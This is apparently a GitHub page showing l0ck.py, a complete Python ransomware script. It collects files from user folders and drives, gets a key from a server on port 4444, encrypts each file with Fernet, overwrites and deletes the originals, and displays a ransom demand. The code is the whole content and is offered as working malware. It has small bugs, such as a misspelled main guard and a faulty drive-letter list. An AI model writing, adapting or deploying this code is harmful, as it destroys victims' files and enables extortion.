-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathl0ck.py
120 lines (102 loc) · 3.11 KB
/
l0ck.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from threading import Thread
from tkinter import messagebox
import hashlib
import os
import socket
#import publicip
import base64
rootdir = ""
PATHS = []
id = b''
key=''
salt = b''
#kdf = PBKDF2HMAC(
# #salt=b'K\x8d\xb9\x86\xf7\x11\\\x14\xe8\x84\x16l\x8d+X\xe3',
# salt=salt,
# algorithm=hashes.SHA256(),
# length=32,
# iterations=10000,
#)
def gen_id(file):
checksum = hashlib.md5()
with open(file,'rb') as f:
filedata = f.read()
checksum.update(filedata)
md5code = checksum.hexdigest()
return md5code
def encrypt(path,key):
fernet = Fernet(key)
filename = os.path.basename(path)
file = open(path,'rb')
output_name = filename+'.l0ck'
output_file_path = path.replace(filename,output_name)
filedata=file.read()
file.close()
encrypted = fernet.encrypt(filedata)
try:
efile = open(output_file_path,'wb')
efile.write(encrypted)
efile.close()
except:
pass
def GETKEY(id):
sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while True:
try:
sok.connect(("127.0.0.1",4444))
sok.send(id.encode())
key = sok.recv(2048+1024+1024)
return key
except ConnectionRefusedError:
continue
def getFile():
if os.name.lower() == 'nt':
WIN_ROOT_PATHS = ['C:\\Users\\'+os.getlogin()+'\\']
DRIVES_LETTER = 'ABDEFGHIKKLMNOPQRSTUVWXYZ'
for drive in DRIVES_LETTER:
if os.path.exists('{}:\\'.format(drive)):
WIN_ROOT_PATHS.append('{}:\\'.format(drive))
for path in WIN_ROOT_PATHS:
for r,d,f in os.walk(path):
for files in f:
PATHS.append(os.path.join(r,files))
logfile = open('log.log','w+')
strfile = ''
logfile.write(strfile.join(PATHS))
logfile.close()
else:
LINUX_ROOT_PATHS = ['/home/'+os.getlogin()+'/Desktop','/media/'+os.getlogin()+'/']
for path in LINUX_ROOT_PATHS:
for r,d,f in os.walk(path):
for files in f:
PATHS.append(os.path.join(r,files))
logfile = open('log.log','w+')
strfile = ''
logfile.write(strfile.join(PATHS))
logfile.close()
def secure_del(file):
try:
delfile = open(file,'wb')
delfile.write(os.urandom(delfile.tell()))
delfile.close()
os.unlink(file)
except:
pass
def kaboom(key):
for file in PATHS:
encrypt(file,key)
secure_del(file)
def msgbox():
messagebox.showerror(title="l0ck", message="You've been hit by l0ck rensomeware.\nYour all data has been encrypted.\nBuy the key to decrypt your data.")
if _name_ == '_main_':
getFile()
id = gen_id('log.log')
keySalt = GETKEY(id)
key = keySalt.rsplit('SALT'.encode())[0]
salt = keySalt.rsplit('SALT'.encode())[1]
mal = Thread(target=kaboom,args=(key,))
mal.start()
msgbox()